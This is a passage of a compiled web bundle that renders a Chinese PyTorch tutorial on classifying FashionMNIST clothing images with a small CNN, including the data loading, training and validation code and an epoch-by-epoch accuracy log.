FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.3 DenseNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"},"next":{"title":"\u7b2c\u4e94\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"}}');var r=s(74848),t=s(28453);const o={},i="4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md",l={},c=[];function d(n){const e={a:"a",br:"br",code:"code",h1:"h1",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"44-fashionmnist\u56fe\u50cf\u5206\u7c7bmd",children:"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"\u57fa\u7840\u5b9e\u6218fashionmnist\u65f6\u88c5\u5206\u7c7b",children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014FashionMNIST\u65f6\u88c5\u5206\u7c7b"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:s(692).A+"",width:"840",height:"840"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u524d\u9762\u4e09\u7ae0\u5185\u5bb9\u7684\u5b66\u4e60\uff0c\u6211\u4eec\u5b8c\u6210\u4e86\u4ee5\u4e0b\u7684\u5185\u5bb9\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9PyTorch\u6709\u4e86\u521d\u6b65\u7684\u8ba4\u8bc6"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4f1a\u4e86\u5982\u4f55\u5b89\u88c5PyTorch\u4ee5\u53ca\u5bf9\u5e94\u7684\u7f16\u7a0b\u73af\u5883"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4e60\u4e86PyTorch\u6700\u6838\u5fc3\u7684\u7406\u8bba\u57fa\u7840\uff08\u5f20\u91cf&\u81ea\u52a8\u6c42\u5bfc\uff09"}),"\n",(0,r.jsx)(e.li,{children:"\u68b3\u7406\u4e86\u5229\u7528PyTorch\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u4e3b\u8981\u6b65\u9aa4\u548c\u5bf9\u5e94\u5b9e\u73b0\u65b9\u5f0f"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u73b0\u5728\uff0c\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u57fa\u7840\u5b9e\u6218\u6848\u4f8b\uff0c\u5c06\u7b2c\u4e00\u90e8\u5206\u6240\u6d89\u53ca\u7684PyTorch\u5165\u95e8\u77e5\u8bc6\u4e32\u8d77\u6765\uff0c\u4fbf\u4e8e\u5927\u5bb6\u52a0\u6df1\u7406\u89e3\u3002\u540c\u65f6\u4e3a\u540e\u7eed\u7684\u8fdb\u9636\u5b66\u4e60\u6253\u597d\u57fa\u7840\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e00\u4e2a\u5b8c\u6574\u7684\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.li,{children:"\u5404\u4e2a\u7ec4\u4ef6\u7684\u5b9e\u9645\u4f7f\u7528\u65b9\u6cd5"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8fd9\u91cc\u7684\u4efb\u52a1\u662f\u5bf910\u4e2a\u7c7b\u522b\u7684\u201c\u65f6\u88c5\u201d\u56fe\u50cf\u8fdb\u884c\u5206\u7c7b\uff0c\u4f7f\u7528",(0,r.jsx)(e.a,{href:"https://github.com/zalandoresearch/fashion-mnist/tree/master/data/fashion",children:"FashionMNIST\u6570\u636e\u96c6"}),"\u3002\n\u4e0a\u56fe\u7ed9\u51fa\u4e86FashionMNIST\u4e2d\u6570\u636e\u7684\u82e5\u5e72\u6837\u4f8b\u56fe\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5c0f\u56fe\u5bf9\u5e94\u4e00\u4e2a\u6837\u672c\u3002",(0,r.jsx)(e.br,{}),"\nFashionMNIST\u6570\u636e\u96c6\u4e2d\u5305\u542b\u5df2\u7ecf\u9884\u5148\u5212\u5206\u597d\u7684\u8bad\u7ec3\u96c6\u548c\u6d4b\u8bd5\u96c6\uff0c\u5176\u4e2d\u8bad\u7ec3\u96c6\u517160,000\u5f20\u56fe\u50cf\uff0c\u6d4b\u8bd5\u96c6\u517110,000\u5f20\u56fe\u50cf\u3002\u6bcf\u5f20\u56fe\u50cf\u5747\u4e3a\u5355\u901a\u9053\u9ed1\u767d\u56fe\u50cf\uff0c\u5927\u5c0f\u4e3a28*28pixel\uff0c\u5206\u5c5e10\u4e2a\u7c7b\u522b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u8ba9\u6211\u4eec\u4e00\u8d77\u5c06\u7b2c\u4e09\u7ae0\u5404\u90e8\u5206\u5185\u5bb9\u9010\u6b65\u5b9e\u73b0\uff0c\u6765\u8dd1\u5b8c\u6574\u4e2a\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u9996\u5148\u5bfc\u5165\u5fc5\u8981\u7684\u5305"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import os\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u914d\u7f6e\u8bad\u7ec3\u73af\u5883\u548c\u8d85\u53c2\u6570"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u914d\u7f6eGPU\uff0c\u8fd9\u91cc\u6709\u4e24\u79cd\u65b9\u5f0f\n## \u65b9\u6848\u4e00\uff1a\u4f7f\u7528os.environ\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n# \u65b9\u6848\u4e8c\uff1a\u4f7f\u7528\u201cdevice\u201d\uff0c\u540e\u7eed\u5bf9\u8981\u4f7f\u7528GPU\u7684\u53d8\u91cf\u7528.to(device)\u5373\u53ef\ndevice = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\")\n\n## \u914d\u7f6e\u5176\u4ed6\u8d85\u53c2\u6570\uff0c\u5982batch_size, num_workers, learning rate, \u4ee5\u53ca\u603b\u7684epochs\nbatch_size = 256\nnum_workers = 4 # \u5bf9\u4e8eWindows\u7528\u6237\uff0c\u8fd9\u91cc\u5e94\u8bbe\u7f6e\u4e3a0\uff0c\u5426\u5219\u4f1a\u51fa\u73b0\u591a\u7ebf\u7a0b\u9519\u8bef\nlr = 1e-4\nepochs = 20\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6570\u636e\u8bfb\u5165\u548c\u52a0\u8f7d"}),(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u540c\u65f6\u5c55\u793a\u4e24\u79cd\u65b9\u5f0f:"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e0b\u8f7d\u5e76\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5185\u7f6e\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(e.li,{children:["\u4ece\u7f51\u7ad9\u4e0b\u8f7d\u4ee5csv\u683c\u5f0f\u5b58\u50a8\u7684\u6570\u636e\uff0c\u8bfb\u5165\u5e76\u8f6c\u6210\u9884\u671f\u7684\u683c\u5f0f",(0,r.jsx)(e.br,{}),"\n\u7b2c\u4e00\u79cd\u6570\u636e\u8bfb\u5165\u65b9\u5f0f\u53ea\u9002\u7528\u4e8e\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u5982MNIST\uff0cCIFAR10\u7b49\uff0cPyTorch\u5b98\u65b9\u63d0\u4f9b\u4e86\u6570\u636e\u4e0b\u8f7d\u3002\u8fd9\u79cd\u65b9\u5f0f\u5f80\u5f80\u9002\u7528\u4e8e\u5feb\u901f\u6d4b\u8bd5\u65b9\u6cd5\uff08\u6bd4\u5982\u6d4b\u8bd5\u4e0b\u67d0\u4e2aidea\u5728MNIST\u6570\u636e\u96c6\u4e0a\u662f\u5426\u6709\u6548\uff09",(0,r.jsx)(e.br,{}),"\n\u7b2c\u4e8c\u79cd\u6570\u636e\u8bfb\u5165\u65b9\u5f0f\u9700\u8981\u81ea\u5df1\u6784\u5efaDataset\uff0c\u8fd9\u5bf9\u4e8ePyTorch\u5e94\u7528\u4e8e\u81ea\u5df1\u7684\u5de5\u4f5c\u4e2d\u5341\u5206\u91cd\u8981"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u65f6\uff0c\u8fd8\u9700\u8981\u5bf9\u6570\u636e\u8fdb\u884c\u5fc5\u8981\u7684\u53d8\u6362\uff0c\u6bd4\u5982\u8bf4\u9700\u8981\u5c06\u56fe\u7247\u7edf\u4e00\u4e3a\u4e00\u81f4\u7684\u5927\u5c0f\uff0c\u4ee5\u4fbf\u540e\u7eed\u80fd\u591f\u8f93\u5165\u7f51\u7edc\u8bad\u7ec3\uff1b\u9700\u8981\u5c06\u6570\u636e\u683c\u5f0f\u8f6c\u4e3aTensor\u7c7b\uff0c\u7b49\u7b49\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e9b\u53d8\u6362\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u501f\u52a9torchvision\u5305\u6765\u5b8c\u6210\uff0c\u8fd9\u662fPyTorch\u5b98\u65b9\u7528\u4e8e\u56fe\u50cf\u5904\u7406\u7684\u5de5\u5177\u5e93\uff0c\u4e0a\u9762\u63d0\u5230\u7684\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u7684\u65b9\u5f0f\u4e5f\u8981\u7528\u5230\u3002PyTorch\u7684\u4e00\u5927\u65b9\u4fbf\u4e4b\u5904\u5c31\u5728\u4e8e\u5b83\u662f\u4e00\u6574\u5957\u201c\u751f\u6001\u201d\uff0c\u6709\u7740\u5b98\u65b9\u548c\u7b2c\u4e09\u65b9\u5404\u4e2a\u9886\u57df\u7684\u652f\u6301\u3002\u8fd9\u4e9b\u5185\u5bb9\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u8bfe\u7a0b\u4e2d\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u9996\u5148\u8bbe\u7f6e\u6570\u636e\u53d8\u6362\nfrom torchvision import transforms\n\nimage_size = 28\ndata_transform = transforms.Compose([\n transforms.ToPILImage(), \n # \u8fd9\u4e00\u6b65\u53d6\u51b3\u4e8e\u540e\u7eed\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f\uff0c\u5982\u679c\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u8bfb\u53d6\u65b9\u5f0f\u5219\u4e0d\u9700\u8981\n transforms.Resize(image_size),\n transforms.ToTensor()\n])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"## \u8bfb\u53d6\u65b9\u5f0f\u4e00\uff1a\u4f7f\u7528torchvision\u81ea\u5e26\u6570\u636e\u96c6\uff0c\u4e0b\u8f7d\u53ef\u80fd\u9700\u8981\u4e00\u6bb5\u65f6\u95f4\nfrom torchvision import datasets\n\ntrain_data = datasets.FashionMNIST(root='./', train=True, download=True, transform=data_transform)\ntest_data = datasets.FashionMNIST(root='./', train=False, download=True, transform=data_transform)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torchvision/datasets/mnist.py:498: UserWarning: The given NumPy array is not writeable, and PyTorch does not support non-writeable tensors. This means you can write to the underlying (supposedly non-writeable) NumPy array using the tensor. You may want to copy the array to protect its data or make it writeable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448234945/work/torch/csrc/utils/tensor_numpy.cpp:180.)\n return torch.from_numpy(parsed.astype(m[2], copy=False)).view(*s)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'## \u8bfb\u53d6\u65b9\u5f0f\u4e8c\uff1a\u8bfb\u5165csv\u683c\u5f0f\u7684\u6570\u636e\uff0c\u81ea\u884c\u6784\u5efaDataset\u7c7b\n# csv\u6570\u636e\u4e0b\u8f7d\u94fe\u63a5\uff1ahttps://www.kaggle.com/zalando-research/fashionmnist\nclass FMDataset(Dataset):\n def __init__(self, df, transform=None):\n self.df = df\n self.transform = transform\n self.images = df.iloc[:,1:].values.astype(np.uint8)\n self.labels = df.iloc[:, 0].values\n \n def __len__(self):\n return len(self.images)\n \n def __getitem__(self, idx):\n image = self.images[idx].reshape(28,28,1)\n label = int(self.labels[idx])\n if self.transform is not None:\n image = self.transform(image)\n else:\n image = torch.tensor(image/255., dtype=torch.float)\n label = torch.tensor(label, dtype=torch.long)\n return image, label\n\ntrain_df = pd.read_csv("./FashionMNIST/fashion-mnist_train.csv")\ntest_df = pd.read_csv("./FashionMNIST/fashion-mnist_test.csv")\ntrain_data = FMDataset(train_df, data_transform)\ntest_data = FMDataset(test_df, data_transform)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u6570\u636e\u96c6\u5b8c\u6210\u540e\uff0c\u9700\u8981\u5b9a\u4e49DataLoader\u7c7b\uff0c\u4ee5\u4fbf\u5728\u8bad\u7ec3\u548c\u6d4b\u8bd5\u65f6\u52a0\u8f7d\u6570\u636e"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=num_workers, drop_last=True)\ntest_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False, num_workers=num_workers)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8bfb\u5165\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u505a\u4e00\u4e9b\u6570\u636e\u53ef\u89c6\u5316\u64cd\u4f5c\uff0c\u4e3b\u8981\u662f\u9a8c\u8bc1\u6211\u4eec\u8bfb\u5165\u7684\u6570\u636e\u662f\u5426\u6b63\u786e"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'import matplotlib.pyplot as plt\nimage, label = next(iter(train_loader))\nprint(image.shape, label.shape)\nplt.imshow(image[0][0], cmap="gray")\n'})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"torch.Size([256, 1, 28, 28]) \ntorch.Size([256]) \n<matplotlib.image.AxesImage at 0x7f19a043cc10>\n\n\n\n\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"png",src:s(12557).A+"",width:"251",height:"248"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6a21\u578b\u8bbe\u8ba1"}),(0,r.jsx)(e.br,{}),"\n\u7531\u4e8e\u4efb\u52a1\u8f83\u4e3a\u7b80\u5355\uff0c\u8fd9\u91cc\u6211\u4eec\u624b\u642d\u4e00\u4e2aCNN\uff0c\u800c\u4e0d\u8003\u8651\u5f53\u4e0b\u5404\u79cd\u6a21\u578b\u7684\u590d\u6742\u7ed3\u6784\uff0c\u6a21\u578b\u6784\u5efa\u5b8c\u6210\u540e\uff0c\u5c06\u6a21\u578b\u653e\u5230GPU\u4e0a\u7528\u4e8e\u8bad\u7ec3\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"class Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(1, 32, 5),\n nn.ReLU(),\n nn.MaxPool2d(2, stride=2),\n nn.Dropout(0.3),\n nn.Conv2d(32, 64, 5),\n nn.ReLU(),\n nn.MaxPool2d(2, stride=2),\n nn.Dropout(0.3)\n )\n self.fc = nn.Sequential(\n nn.Linear(64*4*4, 512),\n nn.ReLU(),\n nn.Linear(512, 10)\n )\n \n def forward(self, x):\n x = self.conv(x)\n x = x.view(-1, 64*4*4)\n x = self.fc(x)\n # x = nn.functional.normalize(x)\n return x\n\nmodel = Net()\nmodel = model.cuda()\n# model = nn.DataParallel(model).cuda() # \u591a\u5361\u8bad\u7ec3\u65f6\u7684\u5199\u6cd5\uff0c\u4e4b\u540e\u7684\u8bfe\u7a0b\u4e2d\u4f1a\u8fdb\u4e00\u6b65\u8bb2\u89e3\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bbe\u5b9a\u635f\u5931\u51fd\u6570"}),(0,r.jsx)(e.br,{}),"\n\u4f7f\u7528torch.nn\u6a21\u5757\u81ea\u5e26\u7684CrossEntropy\u635f\u5931",(0,r.jsx)(e.br,{}),"\nPyTorch\u4f1a\u81ea\u52a8\u628a\u6574\u6570\u578b\u7684label\u8f6c\u4e3aone-hot\u578b\uff0c\u7528\u4e8e\u8ba1\u7b97CE loss",(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u9700\u8981\u786e\u4fddlabel\u662f\u4ece0\u5f00\u59cb\u7684\uff0c\u540c\u65f6\u6a21\u578b\u4e0d\u52a0softmax\u5c42\uff08\u4f7f\u7528logits\u8ba1\u7b97\uff09,\u8fd9\u4e5f\u8bf4\u660e\u4e86PyTorch\u8bad\u7ec3\u4e2d\u5404\u4e2a\u90e8\u5206\u4e0d\u662f\u72ec\u7acb\u7684\uff0c\u9700\u8981\u901a\u76d8\u8003\u8651"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"criterion = nn.CrossEntropyLoss()\n# criterion = nn.CrossEntropyLoss(weight=[1,1,1,1,3,1,1,1,1,1])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"?nn.CrossEntropyLoss # \u8fd9\u91cc\u65b9\u4fbf\u770b\u4e00\u4e0bweighting\u7b49\u7b56\u7565\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bbe\u5b9a\u4f18\u5316\u5668"}),(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528Adam\u4f18\u5316\u5668"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"optimizer = optim.Adam(model.parameters(), lr=0.001)\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bad\u7ec3\u548c\u6d4b\u8bd5\uff08\u9a8c\u8bc1\uff09"}),(0,r.jsx)(e.br,{}),"\n\u5404\u81ea\u5c01\u88c5\u6210\u51fd\u6570\uff0c\u65b9\u4fbf\u540e\u7eed\u8c03\u7528",(0,r.jsx)(e.br,{}),"\n\u5173\u6ce8\u4e24\u8005\u7684\u4e3b\u8981\u533a\u522b\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u72b6\u6001\u8bbe\u7f6e"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u521d\u59cb\u5316\u4f18\u5316\u5668"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u5c06loss\u4f20\u56de\u5230\u7f51\u7edc"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u6bcf\u6b65\u66f4\u65b0optimizer"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u5916\uff0c\u5bf9\u4e8e\u6d4b\u8bd5\u6216\u9a8c\u8bc1\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u8ba1\u7b97\u5206\u7c7b\u51c6\u786e\u7387"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def train(epoch):\n model.train()\n train_loss = 0\n for data, label in train_loader:\n data, label = data.cuda(), label.cuda()\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, label)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()*data.size(0)\n train_loss = train_loss/len(train_loader.dataset)\n print('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, train_loss))\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def val(epoch): \n model.eval()\n val_loss = 0\n gt_labels = []\n pred_labels = []\n with torch.no_grad():\n for data, label in test_loader:\n data, label = data.cuda(), label.cuda()\n output = model(data)\n preds = torch.argmax(output, 1)\n gt_labels.append(label.cpu().data.numpy())\n pred_labels.append(preds.cpu().data.numpy())\n loss = criterion(output, label)\n val_loss += loss.item()*data.size(0)\n val_loss = val_loss/len(test_loader.dataset)\n gt_labels, pred_labels = np.concatenate(gt_labels), np.concatenate(pred_labels)\n acc = np.sum(gt_labels==pred_labels)/len(pred_labels)\n print('Epoch: {} \\tValidation Loss: {:.6f}, Accuracy: {:6f}'.format(epoch, val_loss, acc))\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"for epoch in range(1, epochs+1):\n train(epoch)\n val(epoch)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torch/nn/functional.py:718: UserWarning: Named tensors and all their associated APIs are an experimental feature and subject to change. Please do not use them for anything important until they are released as stable. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448234945/work/c10/core/TensorImpl.h:1156.)\n return torch.max_pool2d(input, kernel_size, stride, padding, dilation, ceil_mode)\n\n\nEpoch: 1 \tTraining Loss: 0.659050\nEpoch: 1 \tValidation Loss: 0.420328, Accuracy: 0.852000\nEpoch: 2 \tTraining Loss: 0.403703\nEpoch: 2 \tValidation Loss: 0.350373, Accuracy: 0.872300\nEpoch: 3 \tTraining Loss: 0.350197\nEpoch: 3 \tValidation Loss: 0.293053, Accuracy: 0.893200\nEpoch: 4 \tTraining Loss: 0.322463\nEpoch: 4 \tValidation Loss: 0.283335, Accuracy: 0.892300\nEpoch: 5 \tTraining Loss: 0.300117\nEpoch: 5 \tValidation Loss: 0.268653, Accuracy: 0.903500\nEpoch: 6 \tTraining Loss: 0.282179\nEpoch: 6 \tValidation Loss: 0.247219, Accuracy: 0.907200\nEpoch: 7 \tTraining Loss: 0.268283\nEpoch: 7 \tValidation Loss: 0.242937, Accuracy: 0.907800\nEpoch: 8 \tTraining Loss: 0.257615\nEpoch: 8 \tValidation Loss: 0.234324, Accuracy: 0.912200\nEpoch: 9 \tTraining Loss: 0.245795\nEpoch: 9 \tValidation Loss: 0.231515, Accuracy: 0.914100\nEpoch: 10 \tTraining Loss: 0.238739\nEpoch: 10 \tValidation Loss: 0.229616, Accuracy: 0.914400\nEpoch: 11 \tTraining Loss: 0.230499\nEpoch: 11 \tValidation Loss: 0.228124, Accuracy: 0.915200\nEpoch: 12 \tTraining Loss: 0.221574\nEpoch: 12 \tValidation Loss: 0.211928, Accuracy: 0.921200\nEpoch: 13 \tTraining Loss: 0.217924\nEpoch: 13 \tValidation Loss: 0.209744, Accuracy: 0.921700\nEpoch: 14 \tTraining Loss: 0.206033\nEpoch: 14 \tValidation Loss: 0.215477, Accuracy: 0.921400\nEpoch: 15 \tTraining Loss: 0.203349\nEpoch: 15 \tValidation Loss: 0.215550, Accuracy: 0.919400\nEpoch: 16 \tTraining Loss: 0.196319\nEpoch: 16 \tValidation Loss: 0.210800, Accuracy: 0.923700\nEpoch: 17 \tTraining Loss: 0.191969\nEpoch: 17 \tValidation Loss: 0.207266, Accuracy: 0.923700\nEpoch: 18 \tTraining Loss: 0.185466\nEpoch: 18 \tValidation Loss: 0.207138, Accuracy: 0.924200\nEpoch: 19 \tTraining Loss: 0.178241\nEpoch: 19 \tValidation Loss: 0.204093, Accuracy: 0.924900\nEpoch: 20 \tTraining Loss: 0.176674\nEpoch: 20 \tValidation Loss: 0.197495, Accuracy: 0.928300\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6a21\u578b\u4fdd\u5b58"}),(0,r.jsx)(e.br,{}),"\n\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528torch.save\u4fdd\u5b58\u6a21\u578b\u53c2\u6570\u6216\u8005\u6574\u4e2a\u6a21\u578b\uff0c\u4e5f\u53ef\u4ee5\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u4fdd\u5b58\u6a21\u578b",(0,r.jsx)(e.br,{}),"\n\u8fd9\u90e8\u5206\u4f1a\u5728\u540e\u9762\u7684\u8bfe\u7a0b\u4e2d\u8be6\u7ec6\u4ecb\u7ecd"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'save_path = "./FahionModel.pkl"\ntorch.save(model, save_path)\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u4f5c\u4e1a"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u540e\u5c1d\u8bd5\u4f7f\u7528\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\u8bad\u7ec3\u6a21\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.3 